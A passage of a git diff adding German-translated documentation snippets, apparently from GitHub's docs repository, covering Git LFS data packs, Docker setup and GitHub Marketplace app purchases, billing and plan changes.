+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145108312"
+---
+1. Um deine neue monatliche Datenpaketmenge zu bestätigen, klicke auf **Kaufen**.
+![Schaltfläche „Weitere Datenpakete kaufen“](/assets/images/help/billing/data-pack-purchase-button.png)
diff --git a/translations/de-DE/data/reusables/large_files/pack_selection.md b/translations/de-DE/data/reusables/large_files/pack_selection.md
new file mode 100644
index 0000000000..37e03827c4
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/pack_selection.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a077c874a02c1b5521755fdc03e54b2d33647b3f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108311"
+---
+1. Gib die Anzahl der Datenpakete ein, die Du Deinem Konto hinzufügen möchtest. Jedes Paket kostet {% data variables.large_files.pack_monthly_price %} und stellt {% data variables.large_files.pack_monthly_bandwidth %} Bandbreite und {% data variables.large_files.pack_monthly_storage %} Speicher zur Verfügung.
+![Schaltfläche „Weitere Datenpakete kaufen“](/assets/images/help/billing/data-pack-quantity-selector.png)
diff --git a/translations/de-DE/data/reusables/large_files/rejected_pushes.md b/translations/de-DE/data/reusables/large_files/rejected_pushes.md
new file mode 100644
index 0000000000..b22f8e3410
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/rejected_pushes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 95da1f9b069298d3e07fd832f4f954305da64129
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108307"
+---
+Benutzer können {% data variables.large_files.product_name_short %}-Assets nicht per Pushvorgang an {% data variables.product.product_name %} übertragen, wenn {% data variables.large_files.product_name_short %} für das Unternehmen oder Repository deaktiviert ist.
diff --git a/translations/de-DE/data/reusables/large_files/resolving-upload-failures.md b/translations/de-DE/data/reusables/large_files/resolving-upload-failures.md
new file mode 100644
index 0000000000..d084c1b0b4
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/resolving-upload-failures.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ca5207c5ca70335a1a7733b5c12dd7e375e11645
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877006"
+---
+Wenn auf {% data variables.large_files.product_name_short %}-Dateien verwiesen wird, die nicht erfolgreich hochgeladen wurden, erhältst Du eine Fehlermeldung. Weitere Informationen findest du unter [Beheben von {% data variables.large_files.product_name_long %}-Uploadfehlern](/articles/resolving-git-large-file-storage-upload-failures).
diff --git a/translations/de-DE/data/reusables/large_files/storage_assets_location.md b/translations/de-DE/data/reusables/large_files/storage_assets_location.md
new file mode 100644
index 0000000000..cfc3b76dfa
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/storage_assets_location.md
@@ -0,0 +1,3 @@
+{% ifversion ghes %}
+By default, the {% data variables.large_files.product_name_long %} client stores large assets on the same server that hosts the Git repository. When {% data variables.large_files.product_name_short %} is enabled on {% data variables.location.product_location %}, large assets are stored on the data partition in `/data/user/storage`.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/large_files/use_lfs_tip.md b/translations/de-DE/data/reusables/large_files/use_lfs_tip.md
new file mode 100644
index 0000000000..5c45786e34
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/use_lfs_tip.md
@@ -0,0 +1,5 @@
+{% tip %}
+
+**Tip:** If you regularly push large files to {% data variables.location.product_location %}, consider using {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[Versioning large files](/articles/versioning-large-files)."
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/linux/ensure-docker.md b/translations/de-DE/data/reusables/linux/ensure-docker.md
new file mode 100644
index 0000000000..175a60711c
--- /dev/null
+++ b/translations/de-DE/data/reusables/linux/ensure-docker.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 97377a3f56a45866e8142e003aeaebba70507143
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108288"
+---
+1. [Stelle sicher, dass Docker lokal installiert ist](https://www.docker.com/).
diff --git a/translations/de-DE/data/reusables/marketplace/add-payment-method-org.md b/translations/de-DE/data/reusables/marketplace/add-payment-method-org.md
new file mode 100644
index 0000000000..c9f6b66938
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/add-payment-method-org.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 526dfdf837e9029147d9f04bb4d935f83798ba78
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108284"
+---
+1. Bei Auswahl eines kostenpflichtigen Plans überprüfe bitte dein Zahlungsmethode.
+   - Um die hinterlegte Zahlungsmethode für die Organisation zu ändern, klicke auf **Bearbeiten**, und fülle anschließend das Formular aus, um eine neue Zahlungsmethode hinzuzufügen. Nachdem du erfolgreich eine neue Zahlungsmethode hinzugefügt hast, kehrst du automatisch zur Bestellseite zurück.
+     ![Link zum Hinzufügen einer Zahlungsmethode zu deiner Organisation](/assets/images/help/marketplace/marketplace-edit-payment-method-org.png)
+   - Wenn keine Zahlungsmethode für die Organisation hinterlegt ist, klicke auf **Zahlungsmethode hinzufügen**, und fülle anschließend das Formular aus, um eine Kreditkarte oder ein PayPal-Konto hinzuzufügen.
+     ![Link zum Hinzufügen einer Zahlungsmethode zu deiner Organisation](/assets/images/help/marketplace/marketplace-add-payment-method-org.png)
diff --git a/translations/de-DE/data/reusables/marketplace/add-payment-method-personal.md b/translations/de-DE/data/reusables/marketplace/add-payment-method-personal.md
new file mode 100644
index 0000000000..63ffe29489
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/add-payment-method-personal.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: c6853b47b11a1606dc425ae7541d1b83c1426d3b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108280"
+---
+1. Bei Auswahl eines kostenpflichtigen Plans überprüfe bitte dein Zahlungsmethode.
+    - Um die hinterlegte Zahlungsmethode für dein persönliches Konto zu ändern, klicke auf **Bearbeiten**, und fülle anschließend das Formular aus, um eine neue Zahlungsmethode hinzuzufügen. Nachdem du erfolgreich eine neue Zahlungsmethode hinzugefügt hast, kehrst du automatisch zur Bestellseite zurück.
+      ![Link zum Hinzufügen einer Zahlungsmethode zu deinem persönlichen Konto](/assets/images/help/marketplace/marketplace-edit-payment-method-personal.png)
+    - Wenn für dein persönliches Konto keine Zahlungsmethode hinterlegt ist, klicke auf **Zahlungsmethode hinzufügen**, und fülle anschließend das Formular aus, um eine Kreditkarte oder ein PayPal-Konto hinzuzufügen.
+      ![Link zum Hinzufügen einer Zahlungsmethode zu deinem persönlichen Konto](/assets/images/help/marketplace/marketplace-add-payment-method-personal.png)
diff --git a/translations/de-DE/data/reusables/marketplace/app-transfer-to-org-for-verification.md b/translations/de-DE/data/reusables/marketplace/app-transfer-to-org-for-verification.md
new file mode 100644
index 0000000000..c6711dd32f
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/app-transfer-to-org-for-verification.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5ddc6b8bf49920a6b876c9d87ec749b411052130
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108279"
+---
+Wenn du eine App im Besitz deines persönlichen Kontos verkaufen möchtest, musst du zuerst die App an eine Organisation übertragen und dann eine Überprüfung für ein von der Organisation erstelltes Angebot anfordern.
diff --git a/translations/de-DE/data/reusables/marketplace/browse-to-app.md b/translations/de-DE/data/reusables/marketplace/browse-to-app.md
new file mode 100644
index 0000000000..5b17a0a819
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/browse-to-app.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b59633f932737d866079969f4fe57f23eb3e9438
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108275"
+---
+1. Navigiere zur App, die Du installieren möchtest, und klicke anschließend auf den Namen der App.
diff --git a/translations/de-DE/data/reusables/marketplace/cancel-app-billing-settings.md b/translations/de-DE/data/reusables/marketplace/cancel-app-billing-settings.md
new file mode 100644
index 0000000000..1405945329
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/cancel-app-billing-settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d2d2a73223587a995cd78691b0ad3b7525fb94a4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108271"
+---
+1. Wähle neben der App, die du abbrechen möchtest, das Dropdownmenü **Bearbeiten** aus, und klicke auf **Plan stornieren**.
+  ![Link zum Stornieren im Abschnitt für Marketplace-Käufe in den Abrechnungseinstellungen deines persönlichen Kontos](/assets/images/help/marketplace/marketplace-edit-app-billing-settings.png)
diff --git a/translations/de-DE/data/reusables/marketplace/cancel-app.md b/translations/de-DE/data/reusables/marketplace/cancel-app.md
new file mode 100644
index 0000000000..7315d37ab9
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/cancel-app.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4dd93628d69de4c23141812b7b55076d50c5d314
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108267"
+---
+1. Klicke im Dialogfeld auf **OK**.
diff --git a/translations/de-DE/data/reusables/marketplace/cancel-free-trial-billing-settings.md b/translations/de-DE/data/reusables/marketplace/cancel-free-trial-billing-settings.md
new file mode 100644
index 0000000000..14c742e2c6
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/cancel-free-trial-billing-settings.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1270a7b3cc6666575c7f0fae83a4a705b6096049
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108263"
+---
+1. Verwende neben der kostenlosen Testversion, die du kündigen möchtest, das Dropdownmenü **Bearbeiten**, und klicke auf **Plan kündigen**.
diff --git a/translations/de-DE/data/reusables/marketplace/cancellation-clarification.md b/translations/de-DE/data/reusables/marketplace/cancellation-clarification.md
new file mode 100644
index 0000000000..4c1f3ca1e7
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/cancellation-clarification.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 215cf9e5768a4fde713e05d8a5fe2d9a28b36db0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883836"
+---
+Wenn ein Kunde ein {% data variables.product.prodname_marketplace %}-Abonnement kündigt, wird die App von GitHub nicht automatisch deinstalliert. Der Kunde kann daher davon ausgehen, dass kostenlose Features weiterhin funktionieren.
diff --git a/translations/de-DE/data/reusables/marketplace/choose-new-plan.md b/translations/de-DE/data/reusables/marketplace/choose-new-plan.md
new file mode 100644
index 0000000000..e0cb9b80b1
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/choose-new-plan.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 1d65976572eb368585010d0488ebf6519f1a7927
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108255"
+---
+1. Verwende das Dropdownmenü unter „Edit your plan" (Deinen Plan bearbeiten) und klicke auf einen neuen Plan.
+  ![Dropdownmenü mit allen verfügbaren Plänen der App](/assets/images/help/marketplace/marketplace-choose-new-plan.png)
diff --git a/translations/de-DE/data/reusables/marketplace/choose-new-quantity.md b/translations/de-DE/data/reusables/marketplace/choose-new-quantity.md
new file mode 100644
index 0000000000..d5b863df2e
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/choose-new-quantity.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 92bb31e63e10e24d4b801074294ffb5b3ef18363
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881627"
+---
+1. Wenn Du einen Einheitenplan ausgewählt hast, gib eine neue Menge ein.
+  ![Feld zum Eingeben einer neuen Menge für einen Einheitenplan](/assets/images/help/marketplace/marketplace-new-quantity.png)
diff --git a/translations/de-DE/data/reusables/marketplace/choose-plan.md b/translations/de-DE/data/reusables/marketplace/choose-plan.md
new file mode 100644
index 0000000000..09bdfbf97b
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/choose-plan.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 1da02cb36ce34fcdcc58dd37c47d99049f5e9f62
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108243"
+---
+1. Klicke auf der App-Seite unter „Pricing and setup" (Preise und Einrichtung) auf den gewünschten Tarifplan, den Du verwenden möchtest.
+  ![Liste der verfügbaren Tarifpläne der App](/assets/images/help/marketplace/marketplace-choose-plan.png)
diff --git a/translations/de-DE/data/reusables/marketplace/complete-order-begin-installation.md b/translations/de-DE/data/reusables/marketplace/complete-order-begin-installation.md
new file mode 100644
index 0000000000..273cd0e0d5
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/complete-order-begin-installation.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 30e2460c0d56e5aa22c5432e4b5e26cc30e680fc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108240"
+---
+1. Klicke auf **Bestellung abschließen und Installation beginnen**.
+  ![Schaltfläche „Bestellung abschließen und Installation beginnen“](/assets/images/help/marketplace/marketplace-complete-order-begin-installation-button.png)
diff --git a/translations/de-DE/data/reusables/marketplace/confirm-install-account-org.md b/translations/de-DE/data/reusables/marketplace/confirm-install-account-org.md
new file mode 100644
index 0000000000..0f021d5ebb
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/confirm-install-account-org.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 13d6b7698e917838a671d64a661e03f47fe9481d
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880252"
+---
+1. Unter „Billing information" (Abrechnungsinformationen) verwende das Dropdownmenü „Switch billing account" (Abrechnungskonto wechseln) und wähle die Organisation, in der Du die App installieren möchtest.
+  ![Dropdownmenü zum Wechseln des Abrechnungskontos sowie des Namens und Avatars der ausgewählten Organisation](/assets/images/help/marketplace/marketplace-confirm-org.png)
diff --git a/translations/de-DE/data/reusables/marketplace/confirm-install-account-personal.md b/translations/de-DE/data/reusables/marketplace/confirm-install-account-personal.md
new file mode 100644
index 0000000000..3e4a17043b
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/confirm-install-account-personal.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5b26d16d974f68605362654fdee03d351b693c5a
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879817"
+---
+1. Bestätige unter „Billing Information" (Abrechnungsinformationen), dass Du die App für Dein persönliches Konto installierst.
+  ![Ihr Name, Ihr Avatar, der Text „Persönliches Konto“ und ein Dropdownmenü zum Wechseln des Abrechnungskontos](/assets/images/help/marketplace/marketplace-confirm-personal-account.png)
diff --git a/translations/de-DE/data/reusables/marketplace/downgrade-app-billing-settings.md b/translations/de-DE/data/reusables/marketplace/downgrade-app-billing-settings.md
new file mode 100644
index 0000000000..db14ca6eed
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/downgrade-app-billing-settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4eda8a510d22759030da8d29b8658c228c4ac1b3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108231"
+---
+1. Klicke neben der App, die du herabstufen möchtest, in der Dropdownliste **Bearbeiten** auf **Plan ändern** oder **Plan kündigen**.
+  ![Link zum Bearbeiten im Abschnitt für Marketplace-Käufe in den Abrechnungseinstellungen deines persönlichen Kontos](/assets/images/help/marketplace/marketplace-edit-app-billing-settings.png)
diff --git a/translations/de-DE/data/reusables/marketplace/downgrade-marketplace-only.md b/translations/de-DE/data/reusables/marketplace/downgrade-marketplace-only.md
new file mode 100644
index 0000000000..87ee6805b9
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/downgrade-marketplace-only.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fdafeb44206b5aaf45187a6b1f360beaa5dc74ee
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881619"
+---
+Das Kündigen einer App oder das Herabstufen einer App auf kostenlos wirkt sich nicht auf deine [anderen kostenpflichtigen Abonnements](/articles/about-billing-on-github) auf {% data variables.product.prodname_dotcom %} aus. Wenn du alle kostenpflichtigen Abonnements auf {% data variables.product.prodname_dotcom %} beenden möchtest, musst du jedes kostenpflichtige Abonnement separat herabstufen.
diff --git a/translations/de-DE/data/reusables/marketplace/free-apps-encouraged.md b/translations/de-DE/data/reusables/marketplace/free-apps-encouraged.md
new file mode 100644
index 0000000000..5d77093583
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/free-apps-encouraged.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2cdee4a51105551ef17cf51f607b578e2231f369
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108224"
+---
+Kostenlose Apps werden im {% data variables.product.prodname_marketplace %} gefördert und sind eine gute Möglichkeit, Open-Source-Dienste anzubieten. Wenn du eine kostenpflichtige Version deiner App außerhalb des {% data variables.product.prodname_marketplace %} anbietest, musst du beim Listing der App im {% data variables.product.prodname_marketplace %} mindestens einen kostenpflichtigen Plan anbieten.
diff --git a/translations/de-DE/data/reusables/marketplace/free-plan-note.md b/translations/de-DE/data/reusables/marketplace/free-plan-note.md
new file mode 100644
index 0000000000..2a87ef571f
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/free-plan-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 07c2803533ce5dd4ec7cc9c087810fb34edf74c9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108216"
+---
+{% note %}
+
+**Hinweis**: Wenn du eine App auf {% data variables.product.prodname_marketplace %} auflistest, kannst du deine App nicht mit einem kostenlosen Preisplan auflisten, wenn du einen kostenpflichtigen Dienst außerhalb von {% data variables.product.prodname_marketplace %} anbietest.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/marketplace/free-trials.md b/translations/de-DE/data/reusables/marketplace/free-trials.md
new file mode 100644
index 0000000000..7af0755de6
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/free-trials.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5a862275abf2c354499114b190ddf6ff1e4692d9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108215"
+---
+Wenn Du einen kostenpflichtigen Plan mit einer kostenfreien Testphase wählst, kannst Du jederzeit während Deiner Testphase ohne Gebühren kündigen, aber Du verlierst automatisch den Zugriff auf die App. Dein kostenpflichtiges Abonnement beginnt am Ende der 14-tägigen Testphase. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace).
diff --git a/translations/de-DE/data/reusables/marketplace/github_apps_preferred.md b/translations/de-DE/data/reusables/marketplace/github_apps_preferred.md
new file mode 100644
index 0000000000..b2d384e133
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/github_apps_preferred.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fb84672af12f9e1bc2e9732a4057f2a8e2b126ef
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881611"
+---
+GitHub Apps sind die offiziell empfohlene Möglichkeit zur Integration in GitHub, weil sie viel detailliertere Berechtigungen für den Zugriff auf Daten bieten.
diff --git a/translations/de-DE/data/reusables/marketplace/install-buy.md b/translations/de-DE/data/reusables/marketplace/install-buy.md
new file mode 100644
index 0000000000..f7c1f1bc94
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/install-buy.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5106fec2d6215c0ab9b0cb63a62a2e9835bbd378
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108203"
+---
+1. Klicke auf **Kostenlos installieren**, **Mit {% data variables.product.prodname_dotcom %} kaufen** oder **14 Tage lang kostenlos testen**.
+  ![Schaltfläche „Mit {% data variables.product.prodname_dotcom %} kaufen“](/assets/images/help/marketplace/marketplace-buy-with-github-button.png)
diff --git a/translations/de-DE/data/reusables/marketplace/issue-plan-changes.md b/translations/de-DE/data/reusables/marketplace/issue-plan-changes.md
new file mode 100644
index 0000000000..456e5e719c
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/issue-plan-changes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4e637fbb62ea8c29d41c0c2e39bde55a5b16fa44
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108200"
+---
+1. Überprüfe die Informationen über deinen neuen Plan und die Abrechnung, und klicke dann auf **Planänderungen ausgeben**.
+  ![Zusammenfassung des alten Plans, des neuen Plans und der Abrechnungsinformationen sowie die Schaltfläche „Planänderungen ausgeben“](/assets/images/help/marketplace/marketplace-issue-plan-changes.png)
diff --git a/translations/de-DE/data/reusables/marketplace/launch-with-free.md b/translations/de-DE/data/reusables/marketplace/launch-with-free.md
new file mode 100644
index 0000000000..585ee8bfed
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/launch-with-free.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: aab890d7024892aa4b3b9b91ec6083607c02fa16
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881603"
+---
+Du kannst die Veröffentlichung mit oder ohne Überprüfung anfordern. Wenn du eine Veröffentlichung ohne Überprüfung anforderst, kannst du schnell eine kostenlose Version deiner App starten. Wenn du dann eine Veröffentlichung mit Überprüfung anforderst, wird dein Listing so aktualisiert, dass das Marketplace-Badge und alle kostenpflichtigen Preispläne nach Abschluss der Überprüfung und des finanziellen Onboardings einbezogen werden.
diff --git a/translations/de-DE/data/reusables/marketplace/marketplace-apps-only.md b/translations/de-DE/data/reusables/marketplace/marketplace-apps-only.md
new file mode 100644
index 0000000000..a22bdbcfe9
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/marketplace-apps-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: ee48b3bd8731933879c946dd03288baca2bc7c64
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880260"
+---
+{% note %}
+
+**Hinweis:** Dieser Artikel gilt nur für die Installation und den Kauf von Apps von {% data variables.product.prodname_marketplace %}. Weitere Informationen zu Apps, die von Integratoren erworben wurden, findest du unter [Informationen zu Integrationen](/articles/about-integrations).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/marketplace/marketplace-billing-ui-requirements.md b/translations/de-DE/data/reusables/marketplace/marketplace-billing-ui-requirements.md
new file mode 100644
index 0000000000..197c7da7b7
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/marketplace-billing-ui-requirements.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: d7d401ed18395e4dd30f45df07e850338fa43da9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108188"
+---
+- Kunden, die einen kostenpflichtigen Plan kündigen, der über den {% data variables.product.prodname_marketplace %} erworben wurde, sollten automatisch auf den kostenlosen Plan der App zurückgestuft werden, sofern ein solcher vorhanden ist. {% data reusables.marketplace.cancellation-clarification %} Es wird dringend empfohlen, Kunden die Möglichkeit zu geben, ihren vorherigen Plan zu reaktivieren.
+- Kunden sollten in der Lage sein, von der Benutzeroberfläche deiner App aus ein Upgrade durchzuführen, wenn du eine [Upgrade-URL](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/#about-upgrade-urls) in diesem Format angibst: `https://www.github.com/marketplace/<LISTING_NAME>/upgrade/<LISTING_PLAN_NUMBER>/<CUSTOMER_ACCOUNT_ID>`
+- Kunden sollten in der Lage sein, auf der Website deiner App zu ändern, welche Benutzer Zugriff auf deine App haben, wenn sie Arbeitsplätze erworben haben (Preisplan pro Einheit) oder der Plan eine unbegrenzte Anzahl von Projektmitarbeitern zulässt.
+- Kunden sollten die folgenden Änderungen an ihrem Konto sofort in den Abrechnungs-, Profil- oder Kontoeinstellungen auf der Website der App sehen können:
+  - Aktueller Plan und Preis.
+  - Neue Pläne, die erworben wurden.
+  - Upgrades, Downgrades, Stornierungen und die Anzahl der verbleibenden für eine kostenlose Testversion.
+  - Änderungen an Abrechnungszyklen (monatlich oder jährlich).
+  - Nutzung und verbleibende Ressourcen für Pläne mit Pauschalgebühr und auf Einheiten basierende Pläne. Wenn der Preisplan zum Beispiel pro Einheit gilt, sollte die Website deiner App die verbrauchten und die verfügbaren Einheiten anzeigen.
diff --git a/translations/de-DE/data/reusables/marketplace/marketplace-double-purchases.md b/translations/de-DE/data/reusables/marketplace/marketplace-double-purchases.md
new file mode 100644
index 0000000000..99e0fb2ee3
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/marketplace-double-purchases.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: be5425babcb4b686ba3ac1bfb45bb2eb3d9fcf0d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108187"
+---
+{% warning %}
+
+**Hinweis:** In der aktuellen Version von {% data variables.product.prodname_marketplace %} ist es möglich, dass ein Kunde deine App über {% data variables.product.prodname_marketplace %} erwerben kann, wenn er bereits über ein Konto verfügt, das von deiner App-Website erworben wurde. Wenn du feststellst, dass bereits ein Konto für den Kunden eingerichtet ist, der deine App erworben hat, melde die „doppelten“ Käufe an den [GitHub-Support](https://github.com/contact).
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/marketplace/marketplace-failed-purchase-event.md b/translations/de-DE/data/reusables/marketplace/marketplace-failed-purchase-event.md
new file mode 100644
index 0000000000..d9e04cb95a
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/marketplace-failed-purchase-event.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 744983c086ce7f67bb25cd9508e080ceb12ea517
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
